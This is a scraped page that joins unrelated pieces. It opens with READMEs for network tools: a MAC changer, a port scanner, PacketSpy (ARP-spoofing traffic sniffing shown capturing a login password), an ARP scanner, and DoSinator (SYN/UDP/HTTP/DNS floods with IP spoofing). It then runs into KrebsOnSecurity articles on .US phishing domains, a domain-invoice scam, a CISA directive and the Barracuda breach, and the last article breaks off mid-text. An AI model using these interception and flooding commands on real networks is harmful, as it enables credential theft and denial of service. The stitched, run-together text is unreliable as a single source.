Set a custom OUI for the MAC address
--reset, -rs Reset MAC address to the original value--interface, -i: Specify the network interface.--random, -r: Set a random MAC address.--newmac, -nm: Set a specific MAC address.--customoui, -co: Set a custom OUI for the MAC address.--reset, -rs: Reset MAC address to the original value.--version, -V: Show the version of the program.$ macmaster.py -i eth0 -nm 00:11:22:33:44:55$ macmaster.py -i eth0 -r$ macmaster.py -i eth0 -rs$ macmaster.py -i eth0 -co 08:00:27$ macmaster.py -VReplace eth0 with your desired network interface.
You must run this script as root or use sudo to run this script for it to work properly. This is because changing a MAC address requires root privileges.
Contributions are welcome! To contribute to MacMaster, follow these steps:
For any inquiries or further information, you can reach me through the following channels:
NetworkSherlock is a powerful and flexible port scanning tool designed for network security professionals and penetration testers. With its advanced capabilities, NetworkSherlock can efficiently scan IP ranges, CIDR blocks, and multiple targets. It stands out with its detailed banner grabbing capabilities across various protocols and integration with Shodan, the world's premier service for scanning and analyzing internet-connected devices. This Shodan integration enables NetworkSherlock to provide enhanced scanning capabilities, giving users deeper insights into network vulnerabilities and potential threats. By combining local port scanning with Shodan's extensive database, NetworkSherlock offers a comprehensive tool for identifying and analyzing network security issues.
NetworkSherlock requires Python 3.6 or later.
git clone https://github.com/HalilDeniz/NetworkSherlock.gitpip install -r requirements.txtUpdate the networksherlock.cfg file with your Shodan API key:
[SHODAN]
api_key = YOUR_SHODAN_API_KEYpython3 networksherlock.py --help
usage: networksherlock.py [-h] [-p PORTS] [-t THREADS] [-P {tcp,udp}] [-V] [-s SAVE_RESULTS] [-c] target
NetworkSherlock: Port Scan Tool
positional arguments:
target Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5,
192.168.1.0/24)
options:
-h, --help show this help message and exit
-p PORTS, --ports PORTS
Ports to scan (e.g. 1-1024, 21,22,80, or 80)
-t THREADS, --threads THREADS
Number of threads to use
-P {tcp,udp}, --protocol {tcp,udp}
Protocol to use for scanning
-V, --version-info Used to get version information
-s SAVE_RESULTS, --save-results SAVE_RESULTS
File to save scan results
-c, --ping-check Perform ping check before scanning
--use-shodan Enable Shodan integration for additional information
target: The target IP address(es), IP range, or CIDR block to scan.-p, --ports: Ports to scan (e.g., 1-1000, 22,80,443).-t, --threads: Number of threads to use.-P, --protocol: Protocol to use for scanning (tcp or udp).-V, --version-info: Obtain version information during banner grabbing.-s, --save-results: Save results to the specified file.-c, --ping-check: Perform a ping check before scanning.--use-shodan: Enable Shodan integration.Scan a single IP address on default ports:
python networksherlock.py 192.168.1.1Scan an IP address with a custom range of ports:
python networksherlock.py 192.168.1.1 -p 1-1024Scan multiple IP addresses on specific ports:
python networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443Scan an entire subnet using CIDR notation:
python networksherlock.py 192.168.1.0/24 -p 80Perform a scan using multiple threads for faster execution:
python networksherlock.py 192.168.1.1-192.168.1.5 -p 1-1024 -t 20Scan using a specific protocol (TCP or UDP):
python networksherlock.py 192.168.1.1 -p 53 -P udppython networksherlock.py 192.168.1.1 --use-shodanpython networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443 -V --use-shodanPerform a detailed scan with banner grabbing and save results to a file:
python networksherlock.py 192.168.1.1 -p 1-1000 -V -s results.txtScan an IP range after performing a ping check:
python networksherlock.py 10.0.0.1-10.0.0.255 -c$ python3 networksherlock.py 10.0.2.12 -t 25 -V -p 21-6000 -t 25
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21-6000
Threads : 25
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
21 /tcp open telnet 220 (vsFTPd 2.3.4)
80 /tcp open http HTTP/1.1 200 OK
139 /tcp open netbios-ssn %SMBr
25 /tcp open smtp 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
23 /tcp open smtp #' #'
445 /tcp open microsoft-ds %SMBr
514 /tcp open shell
512 /tcp open exec Where are you?
1524/tcp open ingreslock ro ot@metasploitable:/#
2121/tcp open iprop 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.2.12]
3306/tcp open mysql >
5900/tcp open unknown RFB 003.003
53 /tcp open domain
---------------------------------------------$ python3 networksherlock.py 10.0.2.0/24 -t 10 -V -p 21-1000
********************************************
Scanning target: 10.0.2.1
Scanning IP : 10.0.2.1
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
53 /tcp open domain
********************************************
Scanning target: 10.0.2.2
Scanning IP : 10.0.2.2
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
445 /tcp open microsoft-ds
135 /tcp open epmap
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21- 1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
21 /tcp open ftp 220 (vsFTPd 2.3.4)
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
23 /tcp open telnet #'
80 /tcp open http HTTP/1.1 200 OK
53 /tcp open kpasswd 464/udpcp
445 /tcp open domain %SMBr
3306/tcp open mysql >
********************************************
Scanning target: 10.0.2.20
Scanning IP : 10.0.2.20
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9Contributions are welcome! To contribute to NetworkSherlock, follow these steps:
PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively.
git clone https://github.com/HalilDeniz/PacketSpy.git
PacketSpy requires the following dependencies to be installed:
pip install -r requirements.txt
To get started with PacketSpy, use the following command-line options:
root@denizhalil:/PacketSpy# python3 packetspy.py --help
usage: packetspy.py [-h] [-t TARGET_IP] [-g GATEWAY_IP] [-i INTERFACE] [-tf TARGET_FIND] [--ip-forward] [-m METHOD]
options:
-h, --help show this help message and exit
-t TARGET_IP, --target TARGET_IP
Target IP address
-g GATEWAY_IP, --gateway GATEWAY_IP
Gateway IP address
-i INTERFACE, --interface INTERFACE
Interface name
-tf TARGET_FIND, --targetfind TARGET_FIND
Target IP range to find
--ip-forward, -if Enable packet forwarding
-m METHOD, --method METHOD
Limit sniffing to a specific HTTP method
root@denizhalil:/PacketSpy# python3 packetspy.py -tf 10.0.2.0/24 -i eth0
Device discovery
**************************************
Ip Address Mac Address
**************************************
10.0.2.1 52:54:00:12:35:00
10.0.2.2 52:54:00:12:35:00
10.0.2.3 08:00:27:78:66:95
10.0.2.11 08:00:27:65:96:cd
10.0.2.12 08:00:27:2f:64:fe
root@denizhalil:/PacketSpy# python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0
******************* started sniff *******************
HTTP Request:
Method: b'POST'
Host: b'testphp.vulnweb.com'
Path: b'/userinfo.php'
Source IP: 10.0.2.20
Source MAC: 08:00:27:04:e8:82
Protocol: HTTP
User-Agent: b'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0'
Raw Payload:
b'uname=admin&pass=mysecretpassword'
HTTP Response:
Status Code: b'302'
Content Type: b'text/html; charset=UTF-8'
--------------------------------------------------
Https work still in progress
Contributions are welcome! To contribute to PacketSpy, follow these steps:
If you have any questions, comments, or suggestions about PacketSpy, please feel free to contact me:
PacketSpy is released under the MIT License. See LICENSE for more information.
NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.
You can download the program from the GitHub page.
$ git clone https://github.com/HalilDeniz/NetProbe.gitTo install the required libraries, run the following command:
$ pip install -r requirements.txtTo run the program, use the following command:
$ python3 netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]-h,--help: show this help message and exit-t,--target: Target IP address or subnet (default: 192.168.1.0/24)-i,--interface: Interface to use (default: None)-l,--live: Enable live tracking of devices-o,--output: Output file to save the results-m,--manufacturer: Filter by manufacturer (e.g., 'Apple')-r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')-s,--scan-rate: Scan rate in seconds (default: 5)$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l$ python3 netprobe.py --help
usage: netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]
NetProbe: Network Scanner Tool
options:
-h, --help show this help message and exit
-t [ ...], --target [ ...]
Target IP address or subnet (default: 192.168.1.0/24)
-i [ ...], --interface [ ...]
Interface to use (default: None)
-l, --live Enable live tracking of devices
-o , --output Output file to save the results
-m , --manufacturer Filter by manufacturer (e.g., 'Apple')
-r , --ip-range Filter by IP range (e.g., '192.168.1.0/24')
-s , --scan-rate Scan rate in seconds (default: 5)
$ python3 netprobe.py You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.
$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -lYou can save the scan results to a file by using the -o or --output flag followed by the desired output file name.
$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt
┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ IP Address ┃ MAC Address ┃ Packet Size ┃ Manufacturer ┃
┡━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 192.168.1.1 │ **:6e:**:97:**:28 │ 102 │ ASUSTek COMPUTER INC. │
│ 192.168.1.3 │ 00:**:22:**:12:** │ 102 │ InPro Comm │
│ 192.168.1.2 │ **:32:**:bf:**:00 │ 102 │ Xiaomi Communications Co Ltd │
│ 192.168.1.98 │ d4:**:64:**:5c:** │ 102 │ ASUSTek COMPUTER INC. │
│ 192.168.1.25 │ **:49:**:00:**:38 │ 102 │ Unknown │
└──────────────┴───────────────────┴─────────────┴──────────────────────────────┘
If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:
This program is released under the MIT LICENSE. See LICENSE for more information.
DoSinator is a versatile Denial of Service (DoS) testing tool developed in Python. It empowers security professionals and researchers to simulate various types of DoS attacks, allowing them to assess the resilience of networks, systems, and applications against potential cyber threats.
Clone the repository:
git clone https://github.com/HalilDeniz/DoSinator.gitNavigate to the project directory:
cd DoSinatorInstall the required dependencies:
pip install -r requirements.txtusage: dos_tool.py [-h] -t TARGET -p PORT [-np NUM_PACKETS] [-ps PACKET_SIZE]
[-ar ATTACK_RATE] [-d DURATION] [-am {syn,udp,icmp,http,dns}]
[-sp SPOOF_IP] [--data DATA]
optional arguments:
-h, --help Show this help message and exit.
-t TARGET, --target TARGET
Target IP address.
-p PORT, --port PORT Target port number.
-np NUM_PACKETS, --num_packets NUM_PACKETS
Number of packets to send (default: 500).
-ps PACKET_SIZE, --packet_size PACKET_SIZE
Packet size in bytes (default: 64).
-ar ATTACK_RATE, --attack_rate ATTACK_RATE
Attack rate in packets per second (default: 10).
-d DURATION, --duration DURATION
Duration of the attack in seconds.
-am {syn,udp,icmp,htt p,dns}, --attack-mode {syn,udp,icmp,http,dns}
Attack mode (default: syn).
-sp SPOOF_IP, --spoof-ip SPOOF_IP
Spoof IP address.
--data DATA Custom data string to send.target_ip: IP address of the target system.target_port: Port number of the target service.num_packets: Number of packets to send (default: 500).packet_size: Size of each packet in bytes (default: 64).attack_rate: Attack rate in packets/second (default: 10).duration: Duration of the attack in seconds.attack_mode: Attack mode: syn, udp, icmp, http (default: syn).spoof_ip: Spoof IP address (default: None).data: Custom data string to send.The usage of the Dosinator tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The author assumes no liability and is not responsible for any misuse or damage caused by this program.
By using Dosinator, you agree to use this tool for educational and ethical purposes only. The author is not responsible for any actions or consequences resulting from misuse of this tool.
Please ensure that you have the necessary permissions to conduct any form of testing on a target network. Use this tool at your own risk.
Contributions are welcome! If you find any issues or have suggestions for improvements, feel free to open an issue or submit a pull request.
If you have any questions, comments, or suggestions about Dosinator, please feel free to contact me:
Domain names ending in “.US” — the top-level domain for the United States — are among the most prevalent in phishing scams, new research shows. This is noteworthy because .US is overseen by the U.S. government, which is frequently the target of phishing domains ending in .US. Also, .US domains are only supposed to be available to U.S. citizens and to those who can demonstrate that they have a physical presence in the United States.
.US is the “country code top-level domain” or ccTLD of the United States. Most countries have their own ccTLDs: .MX for Mexico, for example, or .CA for Canada. But few other major countries in the world have anywhere near as many phishing domains each year as .US.
That’s according to The Interisle Consulting Group, which gathers phishing data from multiple industry sources and publishes an annual report on the latest trends. Interisle’s newest study examined six million phishing reports between May 1, 2022 and April 30, 2023, and found 30,000 .US phishing domains.
.US is overseen by the National Telecommunications and Information Administration (NTIA), an executive branch agency of the U.S. Department of Commerce. However, NTIA currently contracts out the management of the .US domain to GoDaddy, by far the world’s largest domain registrar.
Under NTIA regulations, the administrator of the .US registry must take certain steps to verify that their customers actually reside in the United States, or own organizations based in the U.S. But Interisle found that whatever GoDaddy was doing to manage that vetting process wasn’t working.
“The .US ‘nexus’ requirement theoretically limits registrations to parties with a national connection, but .US had very high numbers of phishing domains,” Interisle wrote. “This indicates a possible problem with the administration or application of the nexus requirements.”
Dean Marks is emeritus executive director for a group called the Coalition for Online Accountability, which has been critical of the NTIA’s stewardship of .US. Marks says virtually all European Union member state ccTLDs that enforce nexus restrictions also have massively lower levels of abuse due to their policies and oversight.
“Even very large ccTLDs, like .de for Germany — which has a far larger market share of domain name registrations than .US — have very low levels of abuse, including phishing and malware,” Marks told KrebsOnSecurity. “In my view, this situation with .US should not be acceptable to the U.S. government overall, nor to the US public.”
Marks said there are very few phishing domains ever registered in other ccTLDs that also restrict registrations to their citizens, such as .HU (Hungary), .NZ (New Zealand), and .FI (Finland), where a connection to the country, a proof of identity, or evidence of incorporation are required.
“Or .LK (Sri Lanka), where the acceptable use policy includes a ‘lock and suspend’ if domains are reported for suspicious activity,” Marks said. “These ccTLDs make a strong case for validating domain registrants in the interest of public safety.”
Sadly, .US has been a cesspool of phishing activity for many years. As far back as 2018, Interisle found .US domains were the worst in the world for spam, botnet (attack infrastructure for DDOS etc.) and illicit or harmful content. Back then, .US was being operated by a different contractor.
In response to questions from KrebsOnSecurity, GoDaddy said all .US registrants must certify that they meet the NTIA’s nexus requirements. But this appears to be little more than an affirmative response that is already pre-selected for all new registrants.
Attempting to register a .US domain through GoDaddy, for example, leads to a U.S. Registration Information page that auto-populates the nexus attestation field with the response, “I am a citizen of the US.” Other options include, “I am a permanent resident of the US,” and “My primary domicile is in the US.” It currently costs just $4.99 to obtain a .US domain through GoDaddy.
GoDaddy said it also conducts a scan of selected registration request information, and conducts “spot checks” on registrant information.
“We conduct regular reviews, per policy, of registration data within the Registry database to determine Nexus compliance with ongoing communications to registrars and registrants,” the company said in a written statement.
GoDaddy says it “is committed to supporting a safer online environment and proactively addressing this issue by assessing it against our own anti-abuse mitigation system.”
“We stand against DNS abuse in any form and maintain multiple systems and protocols to protect all the TLDs we operate,” the statement continued. “We will continue to work with registrars, cybersecurity firms and other stakeholders to make progress with this complex challenge.”
Interisle found significant numbers of .US domains were registered to attack some of the United States’ most prominent companies, including Bank of America, Amazon, Apple, AT&T, Citi, Comcast, Microsoft, Meta, and Target.
“Ironically, at least 109 of the .US domains in our data were used to attack the United States government, specifically the United States Postal Service and its customers,” Interisle wrote. “.US domains were also used to attack foreign government operations: six .US domains were used to attack Australian government services, six attacked Great’s Britain’s Royal Mail, one attacked Canada Post, and one attacked the Denmark Tax Authority.”
The NTIA recently published a proposal that would allow GoDaddy to redact registrant data from WHOIS registration records. The current charter for .US specifies that all .US registration records be public.
Interisle argues that without more stringent efforts to verify a United States nexus for new .US domain registrants, the NTIA’s proposal will make it even more difficult to identify phishers and verify registrants’ identities and nexus qualifications.
In a written statement, the NTIA said DNS abuse is a priority issue for the agency, and that NTIA supports “evidence-based policymaking.”
“We look forward to reviewing the report and will engage with our contractor for the .US domain on steps that we can take not only to address phishing, but the other forms of DNS abuse as well,” the statement reads.
Interisle sources its phishing data from several places, including the Anti-Phishing Working Group (APWG), OpenPhish, PhishTank, and Spamhaus. For more phishing facts, see Interisle’s 2023 Phishing Landscape report (PDF).’
Update, Sept. 5, 1:44 p.m. ET: Updated story with statement provided today by the NTIA.
If you’ve ever owned a domain name, the chances are good that at some point you’ve received a snail mail letter which appears to be a bill for a domain or website-related services. In reality, these misleading missives try to trick people into paying for useless services they never ordered, don’t need, and probably will never receive. Here’s a look at the most recent incarnation of this scam — DomainNetworks — and some clues about who may be behind it.
The DomainNetworks mailer may reference a domain that is or was at one point registered to your name and address. Although the letter includes the words “marketing services” in the upper right corner, the rest of the missive is deceptively designed to look like a bill for services already rendered.
DomainNetworks claims that listing your domain with their promotion services will result in increased traffic to your site. This is a dubious claim for a company that appears to be a complete fabrication, as we’ll see in a moment. But happily, the proprietors of this enterprise were not so difficult to track down.
The website Domainnetworks[.]com says it is a business with a post office box in Hendersonville, N.C., and another address in Santa Fe, N.M. There are a few random, non-technology businesses tied to the phone number listed for the Hendersonville address, and the New Mexico address was used by several no-name web hosting companies.
However, there is little connected to these addresses and phone numbers that get us any closer to finding out who’s running Domainnetworks[.]com. And neither entity appears to be an active, official company in their supposed state of residence, at least according to each state’s Secretary of State database.
The Better Business Bureau listing for DomainNetworks gives it an “F” rating, and includes more than 100 reviews by people angry at receiving one of these scams via snail mail. Helpfully, the BBB says DomainNetworks previously operated under a different name: US Domain Authority LLC.
DomainNetworks has an “F” reputation with the Better Business Bureau.
Copies of snail mail scam letters from US Domain Authority posted online show that this entity used the domain usdomainauthority[.]com, registered in May 2022. The Usdomainauthority mailer also featured a Henderson, NC address, albeit at a different post office box.
Usdomainauthority[.]com is no longer online, and the site seems to have blocked its pages from being indexed by the Wayback Machine at archive.org. But searching on a long snippet of text from DomainNetworks[.]com about refund requests shows that this text was found on just one other active website, according to publicwww.com, a service that indexes the HTML code of existing websites and makes it searchable.
A deceptive snail mail solicitation from DomainNetwork’s previous iteration — US Domain Authority. Image: Joerussori.com
That other website is a domain registered in January 2023 called thedomainsvault[.]com, and its registration details are likewise hidden behind privacy services. Thedomainsvault’s “Frequently Asked Questions” page is quite similar to the one on the DomainNetworks website; both begin with the question of why the company is sending a mailer that looks like a bill for domain services.
Thedomainsvault[.]com includes no useful information about the entity or people who operate it; clicking the “Contact-us” link on the site brings up a page with placeholder Lorem Ipsum text, a contact form, and a phone number of 123456789.
However, searching passive DNS records at DomainTools.com for thedomainsvault[.]com shows that at some point whoever owns the domain instructed incoming email to be sent to ubsagency@gmail.com.
The first result that currently pops up when searching for “ubsagency” in Google is ubsagency[.]com, which says it belongs to a Las Vegas-based Search Engine Optimization (SEO) and digital marketing concern generically named both United Business Service and United Business Services. UBSagency’s website is hosted at the same Ann Arbor, Mich. based hosting firm (A2 Hosting Inc) as thedomainsvault[.]com.
UBSagency’s LinkedIn page says the company has offices in Vegas, Half Moon Bay, Calif., and Renton, Wash. But once again, none of the addresses listed for these offices reveal any obvious clues about who runs UBSagency. And once again, none of these entities appear to exist as official businesses in their claimed state of residence.
Searching on ubsagency@gmail.com in Constella Intelligence shows the address was used sometime before February 2019 to create an account under the name “Sammy\Sam_Alon” at the interior decorating site Houzz.com. In January 2019, Houzz acknowledged that a data breach exposed account information on an undisclosed number of customers, including user IDs, one-way encrypted passwords, IP addresses, city and ZIP codes, as well as Facebook information.
Sammy\Sam_Alon registered at Houzz using an Internet address in Huntsville, Ala. (68.35.149.206). Constella says this address was associated with the email tropicglobal@gmail.com, which also is tied to several other “Sammy” accounts at different stores online.
Constella also says a highly unique password re-used by tropicglobal@gmail.com across numerous sites was used in connection with just a few other email accounts, including shenhavgroup@gmail.com, and distributorinvoice@mail.com.
The shenhavgroup@gmail.com address was used to register a Twitter account for a Sam Orit Alon in 2013, whose account says they are affiliated with the Shenhav Group. According to DomainTools, shenhavgroup@gmail.com was responsible for registering roughly two dozen domains, including the now-defunct unitedbusinessservice[.]com.
Constella further finds that the address distributorinvoice@mail.com was used to register an account at whmcs.com, a web hosting platform that suffered a breach of its user database several years back. The name on the WHMCS account was Shmuel Orit Alon, from Kidron, Israel.
UBSagency also has a Facebook page, or maybe “had” is the operative word because someone appears to have defaced it. Loading the Facebook page for UBSagency shows several of the images have been overlaid or replaced with a message from someone who is really disappointed with Sam Alon.
“Sam Alon is a LIAR, THIEF, COWARD AND HAS A VERY SMALL D*CK,” reads one of the messages:
The current Facebook profile page for UBSagency includes a logo that is similar to the DomainNetworks logo.
The logo in the UBSagency profile photo includes a graphic of what appears to be a magnifying glass with a line that zig-zags through bullet points inside and outside the circle, a unique pattern that is remarkably similar to the logo for DomainNetworks:
The logos for DomainNetworks (left) and UBSagency.
Constella also found that the same Huntsville IP address used by Sam Alon at Houzz was associated with yet another Houzz account, this one for someone named “Eliran.”
The UBSagency Facebook page features several messages from an Eliran “Dani” Benz, who is referred to by commenters as an employee or partner with UBSagency. The last check-in on Benz’s profile is from a beach at Rishon Letziyon in Israel earlier this year.
Neither Mr. Alon nor Mr. Benz responded to multiple requests for comment.
It may be difficult to believe that anyone would pay an invoice for a domain name or SEO service they never ordered. However, there is plenty of evidence that these phony bills often get processed by administrative personnel at organizations that end up paying the requested amount because they assume it was owed for some services already provided.
In 2018, KrebsOnSecurity published How Internet Savvy are Your Leaders?, which examined public records to show that dozens of cities, towns, school districts and even political campaigns across the United States got snookered into paying these scam domain invoices from a similar scam company called WebListings Inc.
In 2020, KrebsOnSecurity featured a deep dive into who was likely behind the WebListings scam, which had been sending out these snail mail scam letters for over a decade. That investigation revealed the scam’s connection to a multi-level marketing operation run out of the U.K., and to two brothers living in Scotland.
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The U.S. government agency in charge of improving the nation’s cybersecurity posture is ordering all federal agencies to take new measures to restrict access to Internet-exposed networking equipment. The directive comes amid a surge in attacks targeting previously unknown vulnerabilities in widely used security and networking appliances.
Under a new order from the Cybersecurity and Infrastructure Security Agency (CISA), federal agencies will have 14 days to respond to any reports from CISA about misconfigured or Internet-exposed networking equipment. The directive applies to any networking devices — such as firewalls, routers and load balancers — that allow remote authentication or administration.
The order requires federal departments to limit access so that only authorized users on an agency’s local or internal network can reach the management interfaces of these devices. CISA’s mandate follows a slew of recent incidents wherein attackers exploited zero-day flaws in popular networking products to conduct ransomware and cyber espionage attacks on victim organizations.
Earlier today, incident response firm Mandiant revealed that since at least October 2022, Chinese cyber spies have been exploiting a zero-day vulnerability in many email security gateway (ESG) appliances sold by California-based Barracuda Networks to hoover up email from organizations using these devices.
Barracuda was alerted to the exploitation of a zero-day in its products in mid-May, and two days later the company pushed a security update to address the flaw in all affected devices. But last week, Barracuda took the highly unusual step of offering to replace compromised ESGs, evidently in response to malware that altered the systems in such a fundamental way that they could no longer be secured remotely with software updates.
According to Mandiant, a previously unidentified Chinese hacking group was responsible for exploiting the Barracuda flaw, and appeared to be searching through victim organization email records for accounts “belonging to individuals working for a government with political or strategic interest to [China] while this victim government was participating in high-level, diplomatic meetings with other countries.”
When security experts began raising the alarm about a possible zero-day in Barracuda’s products, the Chinese hacking group altered their tactics, techniques and procedures (TTPs) in response to Barracuda’s efforts to contain and remediate the incident, Mandiant found.
Mandiant said the attackers will continue to change their tactics and malware, “especially as network defenders continue to take action against this adversary and their activity is further exposed by the infosec community.”
Meanwhile, this week we learned more details about the ongoing exploitation of a zero-day flaw in a broad range of virtual private networking (VPN) products made by Fortinet — devices many organizations rely on to facilitate remote network access for employees.
On June 11, Fortinet released a half-dozen security updates for its FortiOS firmware, including a weakness that researchers said allows an attacker to run malware on virtually any Fortinet SSL VPN appliance. The researchers found that just being able to reach the management interface for a vulnerable Fortinet SSL VPN appliance was enough to completely compromise the devices.
“This is reachable pre-authentication, on every SSL VPN appliance,” French vulnerability researcher Charles Fol tweeted. “Patch your #Fortigate.”
In details published on June 12, Fortinet confirmed that one of the vulnerabilities (CVE-2023-27997) is being actively exploited. The company said it discovered the weakness in an internal code audit that began in January 2023 — when it learned that Chinese hackers were exploiting a different zero-day flaw in its products.
Shodan.io, the search engine made for finding Internet of Things devices, reports that there are currently more than a half-million vulnerable Fortinet devices reachable via the public Internet.
The new cybersecurity directive from CISA orders agencies to remove any networking device management interfaces from the internet by making them only accessible from an internal enterprise network (CISA recommends an isolated management network). CISA also says agencies should “deploy capabilities, as part of a Zero Trust Architecture, that enforce access control to the interface through a policy enforcement point separate from the interface itself (preferred action).”
Security experts say CISA’s directive highlights the reality that cyberspies and ransomware gangs are making it increasingly risky for organizations to expose any devices to the public Internet, because these groups have strong incentives to probe such devices for previously unknown security vulnerabilities.
The most glaring example of this dynamic can be seen in the frequency with which ransomware groups have discovered and pounced on zero-day flaws in widely-used file transfer applications. One ransomware gang in particular — Cl0p — has repeatedly exploited zero day bugs in various file transfer appliances to extort tens of millions of dollars from hundreds of ransomware victims.
On February 2, KrebsOnSecurity broke the news that attackers were exploiting a zero-day vulnerability in the GoAnywhere file transfer appliance by Fortra. By the time security updates were available to fix the vulnerability, Cl0p had already used it to steal data from more than a hundred organizations running Fortra’s appliance.
According to CISA, on May 27, Cl0p began exploiting a previously unknown flaw in MOVEit Transfer, a popular Internet-facing file transfer application. MOVEit parent Progress Software has since released security updates to address the weakness, but Cl0p claims to have already used it to compromise hundreds of victim organizations. TechCrunch has been tracking the fallout from victim organizations, which range from banks and insurance providers to universities and healthcare entities.
The always on-point weekly security news podcast Risky Business has recently been urging organizations to jettison any and all FTP appliances, noting that Cl0p (or another crime gang) is likely to visit the same treatment on other FTP appliance vendors.
But that sound advice doesn’t exactly scale for mid-tier networking devices like Barracuda ESGs or Fortinet SSL VPNs, which are particularly prominent in small to mid-sized organizations.
“It’s not like FTP services, you can’t tell an enterprise [to] turn off the VPN [because] the productivity hit of disconnecting the VPN is terminal, it’s a non-starter,” Risky Business co-host Adam Boileau said on this week’s show. “So how to mitigate the impact of having to use a domain-joined network appliance at the edge of your network that is going to get zero-day in it? There’s no good answer.”
Risky Business founder Patrick Gray said the COVID-19 pandemic breathed new life into entire classes of networking appliances that rely on code which was never designed with today’s threat models in mind.
“In the years leading up to the pandemic, the push towards identity-aware proxies and zero trust everything and moving away from this type of equipment was gradual, but it was happening,” Gray said. “And then COVID-19 hit and everybody had to go work from home, and there really was one option to get going quickly — which was to deploy VPN concentrators with enterprise features.”
Gray said the security industry had been focused on building the next generation of remote access tools that are more security-hardened, but when the pandemic hit organizations scrambled to cobble together whatever they could.
“The only stuff available in the market was all this old crap that is not QA’d properly, and every time you shake them CVEs fall out,” Gray remarked, calling the pandemic, “a shot in the arm” to companies like Fortinet and Barracuda.
“They sold so many VPNs through the pandemic and this is the hangover,” Gray said. “COVID-19 extended the life of these companies and technologies, and that’s unfortunate.”
It’s not often that a zero-day vulnerability causes a network security vendor to urge customers to physically remove and decommission an entire line of affected hardware — as opposed to just applying software updates. But experts say that is exactly what transpired this week with Barracuda Networks, as the company struggled to combat a sprawling malware threat which appears to have undermined its email security appliances in such a fundamental way that they can no longer be safely updated with software fixes.
The Barracuda Email Security Gateway (ESG) 900 appliance.
Campbell, Calif. based Barracuda said it hired incident response firm Mandiant on May 18 after receiving reports about unusual traffic originating from its Email Security Gateway (ESG) devices, which are designed to sit at the edge of an organization’s network and scan all incoming and outgoing email for malware.
On May 19, Barracuda identified that the malicious traffic was taking advantage of a previously unknown vulnerability in its ESG appliances, and on May 20 the company pushed a patch for the flaw to all affected appliances (CVE-2023-2868).
In its security advisory, Barracuda said the vulnerability existed in the Barracuda software component responsible for screening attachments for malware. More alarmingly, the company said it appears attackers first started exploiting the flaw in October 2022.
But on June 6, Barracuda suddenly began urging its ESG customers to wholesale rip out and replace — not patch — affected appliances.
“Impacted ESG appliances must be immediately replaced regardless of patch version level,” the company’s advisory warned. “Barracuda’s recommendation at this time is full replacement of the impacted ESG.”
In a statement, Barracuda said it will be providing the replacement product to impacted customers at no cost, and that not all ESG appliances were compromised.
“No other Barracuda product, including our SaaS email solutions, were impacted by this vulnerability,” the company said. “If an ESG appliance is displaying a notification in the User Interface, the ESG appliance had indicators of compromise. If no notification is displayed, we have no reason to believe that the appliance has been compromised at this time.”
Nevertheless, the statement says that “out of an abundance of caution and in furtherance of our containment strategy, we recommend impacted customers replace their compromised appliance.”
“As of June 8, 2023, approximately 5% of active ESG appliances worldwide have shown any evidence of known indicators of compromise due to the vulnerability,” the statement continues. “Despite deployment of additional patches based on known IOCs, we continue to see evidence of ongoing malware activity on a subset of the compromised appliances. Therefore, we would like customers to replace any compromised appliance with a new unaffected device.”
Rapid7‘s Caitlin Condon called this remarkable turn of events “fairly stunning,” and said there appear to be roughly 11,000 vulnerable ESG devices still connected to the Internet worldwide.
“The pivot from patch to total replacement of affected devices is fairly stunning and implies the malware the threat actors deployed somehow achieves persistence at a low enough level that even wiping the device wouldn’t eradicate attacker access,” Condon wrote.
Barracuda said the malware was identified on a subset of appliances that allowed the attackers persistent backdoor access to the devices, and that evidence of data exfiltration was identified on some systems.
Rapid7 said it has seen no evidence that attackers are using the flaw to move laterally within victim networks. But that may be small consolation for Barracuda customers now coming to terms with the notion that foreign cyberspies probably have been hoovering up all their email for months.
Nicholas Weaver, a researcher at University of California, Berkeley’s International Computer Science Institute (ICSI), said it is likely that the malware was able to corrupt the underlying firmware that powers the ESG devices in some irreparable way.
